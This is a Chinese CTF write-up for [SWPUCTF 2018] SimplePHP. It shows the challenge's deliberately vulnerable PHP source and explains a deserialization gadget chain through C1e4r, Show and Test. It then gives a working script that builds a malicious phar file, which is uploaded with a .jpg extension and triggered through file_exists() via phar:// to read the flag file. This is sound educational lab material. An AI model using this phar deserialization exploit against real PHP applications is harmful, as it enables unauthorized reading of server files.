本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
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[SWPUCTF 2018]SimplePHP
首先打开主页,发现有几个功能:

有一个查看文件,和一个上传文件。

在查看文件中可以进行文件包含,读取出相关的php代码内容
我们通过读取file.php,一步一步读取出了6个php文件,由于有3个没用,所以我只放了三个文件出来
源代码
class.php
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 |  <?phpclass C1e4r
 {
 public $test;
 public $str;
 public function __construct($name)
 {
 $this->str = $name;
 }
 public function __destruct()
 {
 $this->test = $this->str;
 echo $this->test;
 }
 }
 
 class Show
 {
 public $source;
 public $str;
 public function __construct($file)
 {
 $this->source = $file;
 echo $this->source;
 }
 public function __toString()
 {
 $content = $this->str['str']->source;
 return $content;
 }
 public function __set($key,$value)
 {
 $this->$key = $value;
 }
 public function _show()
 {
 if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
 die('hacker!');
 } else {
 highlight_file($this->source);
 }
 
 }
 public function __wakeup()
 {
 if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
 echo "hacker~";
 $this->source = "index.php";
 }
 }
 }
 class Test
 {
 public $file;
 public $params;
 public function __construct()
 {
 $this->params = array();
 }
 public function __get($key)
 {
 return $this->get($key);
 }
 public function get($key)
 {
 if(isset($this->params[$key])) {
 $value = $this->params[$key];
 } else {
 $value = "index.php";
 }
 return $this->file_get($value);
 }
 public function file_get($value)
 {
 $text = base64_encode(file_get_contents($value));
 return $text;
 }
 }
 ?>
 
 | 
file.php
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 | <?php header("content-type:text/html;charset=utf-8");
 include 'function.php';
 include 'class.php';
 ini_set('open_basedir','/var/www/html/');
 $file = $_GET["file"] ? $_GET['file'] : "";
 if(empty($file)) {
 echo "<h2>There is no file to show!<h2/>";
 }
 $show = new Show();
 if(file_exists($file)) {
 $show->source = $file;
 $show->_show();
 } else if (!empty($file)){
 die('file doesn\'t exists.');
 }
 ?>
 
 | 
function.php
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 | <?php 
 include "base.php";
 header("Content-type: text/html;charset=utf-8");
 error_reporting(0);
 function upload_file_do() {
 global $_FILES;
 $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
 
 if(file_exists("upload/" . $filename)) {
 unlink($filename);
 }
 move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
 echo '<script type="text/javascript">alert("上传成功!");</script>';
 }
 function upload_file() {
 global $_FILES;
 if(upload_file_check()) {
 upload_file_do();
 }
 }
 function upload_file_check() {
 global $_FILES;
 $allowed_types = array("gif","jpeg","jpg","png");
 $temp = explode(".",$_FILES["file"]["name"]);
 $extension = end($temp);
 if(empty($extension)) {
 
 }
 else{
 if(in_array($extension,$allowed_types)) {
 return true;
 }
 else {
 echo '<script type="text/javascript">alert("Invalid file!");</script>';
 return false;
 }
 }
 }
 ?>
 
 | 
分析
仔细分析代码,发现只用这里能够读取到flag:
Test类
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 | public function file_get($value){
 $text = base64_encode(file_get_contents($value));
 return $text;
 }
 
 | 
我们仔细分析一下Test类:
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 | class Test{
 public $file;
 public $params;
 public function __construct()
 {
 $this->params = array();
 }
 public function __get($key)
 {
 return $this->get($key);
 }
 public function get($key)
 {
 if(isset($this->params[$key])) {
 $value = $this->params[$key];
 } else {
 $value = "index.php";
 }
 return $this->file_get($value);
 }
 public function file_get($value)
 {
 $text = base64_encode(file_get_contents($value));
 return $text;
 }
 }
 
 | 
我们发现有这样一条链:__get($key)=>get($key)=>file_get($value)
我们可以通过调用 __get($key)方法,逐步传参,然后获得$value使用file_get_contents()函数取出flag。但是我们想要让 $value="/var/www/html/f1ag.php"
需要让变量 $params变为一个数组,我们先假设数组为:$params=array('source'=>'/var/www/html/f1ag.php')
但是我们如何才能调用 __get()方法呢,这是一个魔术方法,当我们访问通过该类对象调用一个不存在的属性时,就会自动调用该方法。
我们接下来观察一下Show类:
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 | class Show{
 public $source;
 public $str;
 public function __construct($file)
 {
 $this->source = $file;
 echo $this->source;
 }
 public function __toString()
 {
 $content = $this->str['str']->source;
 return $content;
 }
 }
 
 | 
我们观察一下 __toString()方法,我们发现:
$content = $this->str['str']->source;
并且在方法__construct()中提示我们使用phar://伪协议
所以,此处我们应该让 $this->str['str']设为Test对象,这样的话,Test对象就会调用一个不存在的属性:source,就会调用Test类魔术方法__get(),从而获得flag
但是怎样才能让Show对象调用__toString()方法?
我们观察一下C1e4r这个类:
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 | class C1e4r{
 public $test;
 public $str;
 public function __construct($name)
 {
 $this->str = $name;
 }
 public function __destruct()
 {
 $this->test = $this->str;
 echo $this->test;
 }
 }
 
 | 
如果我们设置 $str变量为Show类对象,这样就可以调用Show类对象的__toString()方法了
通过以上分析,我们可以写如下代码构造:
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 | <?php
 class C1e4r {
 public $test;
 public $str;
 }
 
 class Show {
 public $source;
 public $str;
 }
 
 class Test {
 public $file;
 public $params = array('source'=>'/var/www/html/f1ag.php');
 }
 
 $c = new C1e4r();
 $s = new Show();
 $t = new Test();
 $s->str['str'] = $t;
 $c->str=$s;
 echo serialize($c);
 $phar = new Phar('exp.phar');
 $phar->startBuffering();
 $phar->setStub('<?php __HALT_COMPILER(); ?>');
 $phar->setMetadata($c);
 $phar->addFromString("test.txt","test");
 $phar->stopBuffering();
 
 | 
生成phar文件:exp.phar
根据文件上传检查函数:
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 | function upload_file_check() {global $_FILES;
 $allowed_types = array("gif","jpeg","jpg","png");
 $temp = explode(".",$_FILES["file"]["name"]);
 $extension = end($temp);
 if(empty($extension)) {
 
 }
 else{
 if(in_array($extension,$allowed_types)) {
 return true;
 }
 else {
 echo '<script type="text/javascript">alert("Invalid file!");</script>';
 return false;
 }
 }
 }
 
 | 
我们可以将文件后缀改为: jpg进行绕过
上传之后会进行重命名:
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 | function upload_file_do() {global $_FILES;
 $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
 
 if(file_exists("upload/" . $filename)) {
 unlink($filename);
 }
 move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
 echo '<script type="text/javascript">alert("上传成功!");</script>';
 }
 
 | 
文件名重新编码,通过文件名+ip地址进行md5编码,
我们可以访问 /upload 获取上传文件名:

我们观察一下:file.php
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 | <?phpheader("content-type:text/html;charset=utf-8");
 include 'function.php';
 include 'class.php';
 ini_set('open_basedir','/var/www/html/');
 $file = $_GET["file"] ? $_GET['file'] : "";
 if(empty($file)) {
 echo "<h2>There is no file to show!<h2/>";
 }
 $show = new Show();
 if(file_exists($file)) {
 $show->source = $file;
 $show->_show();
 } else if (!empty($file)){
 die('file doesn\'t exists.');
 }
 ?>
 
 | 
这里我们注意到了 file_exists()函数,配合phar://伪协议和phar文件可以实现反序列化,然后输出 flag的base64编码
我们直接使用:

解密获得flag